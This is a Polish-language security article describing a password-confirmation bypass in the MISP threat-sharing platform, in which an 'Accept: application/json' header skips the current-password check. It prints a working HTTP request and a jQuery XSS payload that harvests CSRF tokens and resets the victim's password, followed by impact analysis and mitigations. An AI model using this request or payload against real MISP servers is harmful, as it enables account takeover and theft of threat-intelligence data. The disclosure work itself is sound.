W tym artykule

Dawid, jako osoba dokładnie testująca bezpieczeństwo aplikacji webowych, odkrył podatność w MISP – popularnej, open-source’owej platformie do wymiany i analizy informacji o zagrożeniach. Podatność ta pozwala atakującemu obejść mechanizm potwierdzenia hasła i zmienić wrażliwe dane bez odpowiedniego uwierzytelnienia. W tym artykule wyjaśnię szczegóły techniczne tej podatności w PHP oraz jej potencjalny wpływ na użytkowników MISP. MISP jest napisany w frameworku CakePHP, a podatność znajdowała się w jego kodzie źródłowym.

Szczegóły techniczne podatności obejścia potwierdzenia hasła w PHP w MISP

Podczas zmiany ustawień profilu w MISP użytkownik musi potwierdzić operację, podając swoje aktualne hasło. Mechanizm ten ma na celu zapobieganie nieautoryzowanym zmianom w ustawieniach konta użytkownika. Jednak Dawid odkrył, że możliwe jest obejście tego zabezpieczenia.

Atakujący może zmienić nagłówek „Accept” na „application/json”, co umożliwia mu modyfikację wrażliwych danych, takich jak hasło użytkownika, adres e-mail czy klucz API, bez konieczności podania poprawnego hasła. W normalnych warunkach, jeśli użytkownik próbuje zmienić dane w swoim profilu bez podania właściwego hasła, aplikacja wyświetla komunikat o błędzie.

Podatność ta niesie za sobą poważne konsekwencje dla użytkowników MISP. Jednym z możliwych scenariuszy jest wykorzystanie przez atakującego innej podatności do obejścia procesu autoryzacji, a następnie zastosowanie tego obejścia potwierdzenia hasła do zmiany hasła użytkownika lub klucza API, co skutecznie prowadzi do przejęcia konta. W konsekwencji może to doprowadzić do nieautoryzowanego dostępu do poufnych informacji i wycieku danych.

Jak dokładnie do tego dochodzi?

Przyczyną tego zachowania może być sposób, w jaki aplikacja MISP obsługuje różne mechanizmy autoryzacji w zależności od typu żądania. Gdy użytkownik edytuje swój profil, aplikacja wymaga podania aktualnego hasła jako środka bezpieczeństwa, zapewniającego, że tylko uprawnione osoby mogą dokonywać zmian – nawet jeśli są zalogowane.

Jednak w momencie przechwycenia żądania i dodania nagłówka „Accept: application/json” aplikacja MISP traktuje je jako żądanie API, co może skutkować zastosowaniem innego mechanizmu autoryzacji. W takim przypadku aplikacja może umożliwiać określone żądania API bez konieczności podawania aktualnego hasła przy edycji profilu.

Zwróć uwagę, że sam nagłówek „Accept: application/json” nie oznacza, że żądanie jest żądaniem API – wskazuje jedynie preferowany format odpowiedzi.

Przykłady scenariuszy ataku

Istnieje kilka scenariuszy ataku, które warto przeanalizować, takie jak bezpośrednia zmiana hasła lub wykorzystanie ataku XSS w łańcuchu ataków. Ostatecznie atakujący może sprzedawać przejęte konta w dark webie. Przyjrzyjmy się tym scenariuszom bardziej szczegółowo!

Bezpośrednia zmiana hasła

Aby zilustrować ten atak, przedstawimy przypadek zmiany adresu e-mail użytkownika, który posiada legalny adres e-mail: user-a@zigrin.com.

Podczas próby zmiany ustawień profilu MISP wyświetla stronę z polem do potwierdzenia hasła:

Strona potwierdzenia hasła

Jeśli spróbujemy edytować profil bez podania poprawnego hasła, pojawi się komunikat o błędzie:

Błąd podczas edycji profilu bez potwierdzenia hasł

Jednak ten mechanizm można obejść poprzez modyfikację nagłówka żądania „Accept” na „application/json”. Poniższe żądanie edycji profilu zostało wysłane w celu zmiany adresu e-mail użytkownika user-a@zigrin.com:

POST /users/edit HTTP/1.1
Host: misp.local
Content-Length: 484
Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1
Origin: http://misp.local
Content-Type: application/x-www-form-urlencoded 					
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4673.0 Safari/537.36 autochrome/purple
Accept: application/json
Referer: http://misp.local/users/edit
						
Accept-Encoding: gzip, deflate
Accept-Language: en-US, en;q=0.9
Cookie: MISP-f78f13dc-3a38-48a5-89e0- bdd6e6a5f7fb=q6ll8r4flem3ojp2vfd4td73au2355p3
Connection: close
				
_method=POST&data%5B_Token%5D%5Bkey%5D=cece019beb8ced15348f3e6fa294f45 f&data%5BUser%5D%5Bemail%5D=user- a%40zigrin.com&data%5BUser%5D%5Bpassword%5D=newpassword&data%5BUser%5D %5Bconfirm_password%5D=newpassword&data%5BUser%5D%5Bnids_sid%5D=751063 4&data%5BUser%5D%5Bgpgkey%5D=&data%5BUser%5D%5Bautoalert%5D=0&data%5BU ser%5D%5Bcontactalert%5D=0&data%5BUser%5D%5Bcurrent_password%5D=&data% 5B_Token%5D%5Bfields%5D=bfb0a5fff0473e74eda62a9b11ee271f7127d8c4%253A& data%5B_Token%5D%5Bunlocked%5D= 

Nie podaliśmy żadnej wartości dla aktualnego hasła, a aplikacja zmieniła hasło na „newpassword”, zwracając odpowiedź HTTP 200:

Obejście potwierdzenia hasła

Zmiana hasła za pomocą żądania XHR

Dodatkowo, nagłówek „Accept” może być ręcznie zdefiniowany w żądaniach XHR (żądaniach wykonywanych w JavaScript), bez konieczności wysyłania zapytania wstępnego CORS (Cross-Origin Resource Sharing). To zwiększa możliwości manipulacji w ramach ataków XSS.

Poniższy fragment kodu JavaScript przedstawia przykład ataku zmieniającego hasło aktualnie zalogowanego użytkownika na „xxx”:

u='/users/edit';$.get(u,function(d){ r=/_Token\]\[fields\]".+?value="([^"]+)"/g; f=r.exec(d)[1]; r=/_Token\]\[key\]".+?value="([^"]+)"/g; k=r.exec(d)[1];						
$.ajaxSetup({headers: {'Accept': 'application/json'}}); // Bypassing password confirmation						
$.post(u,{
'data[User][email]': 'user-a@zigrin.com', 'data[User][password]': 'xxx', 'data[User][confirm_password]': 'xxx', 'data[User][nids_sid]': '', 'data[User][gpgkey]': '', 'data[User][autoalert]': 0, 'data[User][contactalert]': 0, 'data[_Token][fields]': f, 'data[_Token][unlocked]': '', 'data[_Token][key]': k					
}); }

Przeanalizujmy ten fragment ładunku.

Powyższy kod stanowi przykład ataku XSS (Cross-Site Scripting), który wykorzystuje podatność na obejście mechanizmu potwierdzenia hasła w PHP.

• Kod wykorzystuje bibliotekę jQuery do wykonania żądania AJAX (Asynchronous JavaScript and XML) do serwera.
• Zmienna u przechowuje adres URL edycji konta użytkownika, a funkcja $.get pobiera zawartość bieżącej strony.
• Wyrażenia regularne r służą do ekstrakcji tokenów CSRF (Cross-Site Request Forgery) z odpowiedzi serwera.
• Funkcja $.ajaxSetup ustawia nagłówek Accept na application/json, co pozwala ominąć mechanizm potwierdzania hasła.
• Następnie funkcja $.post wysyła żądanie POST do serwera z nowym hasłem „xxx”.

Ten kod może zostać wstrzyknięty do podatnej strony w ramach ataku XSS, umożliwiając atakującemu zmianę hasła aktualnie zalogowanego użytkownika bez konieczności podawania jego dotychczasowego hasła. Mechanizm potwierdzania hasła jest pomijany, ponieważ nagłówek Accept jest ręcznie ustawiany w żądaniu XHR, bez konieczności wysyłania zapytania wstępnego CORS.

Aby zapobiec tej podatności, deweloperzy powinni upewnić się, że mechanizmy bezpieczeństwa, takie jak potwierdzenie hasła, są poprawnie wdrożone dla wszystkich wymaganych endpointów.

Dodatkowo, warto rozważyć wdrożenie Content Security Policy (CSP), aby zapobiec atakom XSS oraz innym popularnym podatnościom w aplikacjach webowych.

Więcej zaleceń dotyczących zabezpieczeń w kolejnej części artykułu!

Wpływ podatności w PHP umożliwiającej obejście potwierdzenia hasła

Należy podkreślić, że MISP to kluczowa aplikacja służąca do wykrywania zagrożeń i wymiany informacji wywiadowczych na temat cyberbezpieczeństwa. W związku z tym każda podatność w MISP może mieć poważne konsekwencje, takie jak umożliwienie atakującemu dostępu do poufnych danych lub naruszenie bezpieczeństwa całej platformy.

Podatność pozwalająca na obejście potwierdzenia hasła jest interesującym sposobem obchodzenia mechanizmów ochronnych, jednak jej powaga jest stosunkowo niska, ponieważ dotyczy jedynie etapu potwierdzania zmiany hasła. Mimo to, jeśli atakujący zdoła wykorzystać inne podatności lub uzyska dostęp do konta ofiary, może użyć tej luki do zmiany haseł lub kluczy API wielu użytkowników bez znajomości ich aktualnych haseł. Może to doprowadzić do przejęcia kont w MISP, które następnie mogą zostać sprzedane w dark webie.

Atakujący, który skutecznie wykorzysta tę podatność, może również uzyskać dostęp do innych poufnych informacji, takich jak tajne dane wywiadowcze dotyczące zagrożeń. Choć sama podatność nie jest krytyczna, może mieć poważne konsekwencje prawne i reputacyjne dla organizacji, zwłaszcza jeśli przetwarza ona dane związane z bezpieczeństwem narodowym lub infrastrukturą krytyczną.

Potwierdzenie hasła jest dodatkową warstwą zabezpieczeń, stanowiącą element podejścia defense-in-depth. Praktyka pokazuje, że organizacje powinny eliminować tego typu podatności w aplikacjach przetwarzających wrażliwe dane oraz wdrażać odpowiednie zabezpieczenia w celu zwiększenia poziomu bezpieczeństwa aplikacji webowych. Można to osiągnąć poprzez stosowanie poprawek bezpieczeństwa oraz wdrażanie właściwych mechanizmów ochronnych zapobiegających nieautoryzowanemu dostępowi i wyciekom danych. Podejmując proaktywne działania, organizacje mogą minimalizować ryzyko naruszeń bezpieczeństwa i skutecznie chronić poufne informacje.

Jak zapobiec podatności na obejście potwierdzenia hasła w PHP

Aby zapobiec tej oraz podobnym podatnościom, należy upewnić się, że nagłówki żądań HTTP nie mogą w prosty sposób wpływać na mechanizmy kontroli dostępu w aplikacji webowej. Dodatkowo deweloperzy powinni wdrożyć dodatkowe zabezpieczenia, takie jak uwierzytelnianie dwuskładnikowe oraz ograniczanie liczby żądań (rate-limiting), aby uniemożliwić nieautoryzowane działania.

Rekomendowane działania zwiększające bezpieczeństwo aplikacji webowej:

• Weryfikacja nagłówków – Aby zagwarantować, że zmiany hasła są autoryzowane w bezpieczny sposób, należy walidować nagłówki podawane przez użytkownika. Może to obejmować wymaganie klucza API w nagłówku „Accept” przy każdym żądaniu zmiany hasła.
• Wdrożenie uwierzytelniania dwuskładnikowego (2FA) – Uwierzytelnianie dwuskładnikowe stanowi dodatkową warstwę zabezpieczeń, która zapobiega nieautoryzowanemu dostępowi, nawet jeśli hasło użytkownika zostanie przejęte. Można to osiągnąć poprzez wdrożenie metod opartych na standardach branżowych, takich jak TOTP (Time-based One-Time Password).
• Ograniczenie liczby żądań (rate-limiting) – Należy ograniczyć liczbę żądań, jakie mogą być wysyłane w określonym czasie, aby zapobiec atakom zautomatyzowanym, takim jak brute-force. Rate-limiting powinien być stosowany do prób logowania, żądań resetowania hasła oraz innych wrażliwych operacji, takich jak edycja profilu użytkownika.
• Aktualizacja oprogramowania – Aplikacja oraz wszystkie jej zależności powinny być regularnie aktualizowane, aby eliminować znane podatności w PHP, które mogą zostać wykorzystane przez atakujących.
• Regularne audyty bezpieczeństwa i testy penetracyjne – Regularna analiza bezpieczeństwa aplikacji pozwala na identyfikację potencjalnych podatności i wdrożenie najlepszych praktyk w celu zapobiegania atakom. Przeprowadzanie testów penetracyjnych oraz konsultacje z ekspertami ds. bezpieczeństwa mogą pomóc w eliminacji zagrożeń, zanim zostaną one wykorzystane przez cyberprzestępców.

Podsumowanie

W niniejszym artykule omówiliśmy podatność w PHP, która pozwala atakującemu na obejście mechanizmu potwierdzenia hasła i zmianę wrażliwych danych w MISP – popularnej open-source’owej platformie do analizy i wymiany informacji o zagrożeniach. Poprzez modyfikację nagłówka żądania „Accept” na „application/json”, atakujący może zmieniać hasła użytkowników lub klucze API bez konieczności podania poprawnego hasła. Artykuł podkreśla znaczenie bezpiecznego programowania aplikacji webowych oraz konieczność ciągłej czujności i edukacji użytkowników w zakresie zagrożeń cybernetycznych.